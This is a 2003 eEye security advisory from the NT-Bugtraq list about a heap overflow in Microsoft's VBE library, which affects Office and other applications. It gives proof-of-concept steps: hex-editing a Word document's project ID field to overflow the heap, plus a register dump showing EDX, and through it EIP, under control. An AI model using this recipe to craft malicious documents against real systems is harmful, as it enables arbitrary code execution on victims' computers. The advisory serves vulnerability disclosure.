

# EEYE: VBE Document Property Buffer Overflow

**Source:** <http://www.derkeiler.com/Mailing-Lists/NT-Bugtraq/2003-09/0022.html>

---

**From:** Marc Maiffret ([marc\\_at\\_EEYE.COM](mailto:marc_at_EEYE.COM))

**Date:** 09/03/03

Date: Wed, 3 Sep 2003 12:29:59 -0700

To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

VBE Document Property Buffer Overflow

Release Date:  
September 3, 2003

Reported Date:  
May 7, 2003

Severity:  
High (Code Execution)

Systems Affected:  
Microsoft Access 97, 2000, 2002  
Microsoft Excel 97, 2000, 2002  
Microsoft PowerPoint 97, 2000, 2002  
Microsoft Project 2000, 2002  
Microsoft Publisher 2002  
Microsoft Visio 2000, 2002  
Microsoft Word 97, 98(J), 2000, 2002  
Microsoft Works Suite 2001, 2002, 2003  
Microsoft Business Solutions Great Plains 7.5  
Microsoft Business Solutions Dynamics 6.0, 7.0  
Microsoft Business Solutions eEnterprise 6.0, 7.0  
Microsoft Business Solutions Solomon 4.5, 5.0, 5.5

Description:

The Visual Basic Design Time Environment library (VBE.DLL and VBE6.DLL), used by the Microsoft Office series and other Microsoft applications, contains an exploitable heap overflow vulnerability. If a malicious Office file such as ".doc", ".xls", etc. is opened, there is the ability for an attacker to execute arbitrary code. This buffer overflow bug also affects Internet Explorer, because some Office files are executed automatically by a helper-application when these files are received.

Technical Description:

## NT-Bugtraq: EEYE: VBE Document Property Buffer Overflow

[Technical data may wrap in eMail. Please visit our website.]

The following steps can be performed in order to create a proof-of-concept Word document:

1. Open Word.
2. Select "Insert" – "Object"
3. Select "MSPropertyTreeCtl Class" (You can also select other objects such as ChoiceBox Class, etc)
4. Save .doc file.
5. Modify .doc file by using binary editor as follows:

5a. Find following strings in doc file.

```
ID="{1FE45957-2625-4B1E-ADEF-EC04B7F34CCF}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="1E1C0125015D1B611B611B611B61"
DPB="4B4954458046804680"
GC="787A679868986867"
```

5b. Change "ID" from:

```
+0000 49 44 3D 22 7B 31 46 45 34 35 39 35 37 2D 32 36 ID="{1FE45957-26
+0010 32 35 2D 34 42 31 45 2D 41 44 45 46 2D 45 43 30 25-4B1E-ADEF-EC0
+0020 34 42 37 46 33 34 43 43 46 7D 22 0D 0A 44 6F 63 4B7F34CCF}"..Doc
+0030 75 6D 65 6E 74 3D 54 68 69 73 44 6F 63 75 6D 65 ument=ThisDocume
```

to the following:

```
+0000 49 44 3D 22 7B 61 61 61 61 61 61 61 61 61 61 61 61 ID="{aaaaaaaa
+0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
+0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
+0030 61 61 61 61 41 42 43 44 00 00 00 00 00 00 00 00 00 00 00 00 00
aaaaABCD....
```

6. Open modified doc file.
7. You'll be able to see an access violation such as...

```
65106055 FF 52 0C call dword ptr [edx+0Ch]
```

```
EAX = 023219A4 EBX = 0232194B ECX = 02311AC4
EDX = 44434241 ESI = 0231186C EDI = 02321940
EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8
```

We can set any value to EDX register, so, we can control EIP register.

Protection:

Retina Network Security Scanner has been updated to identify this vulnerability.

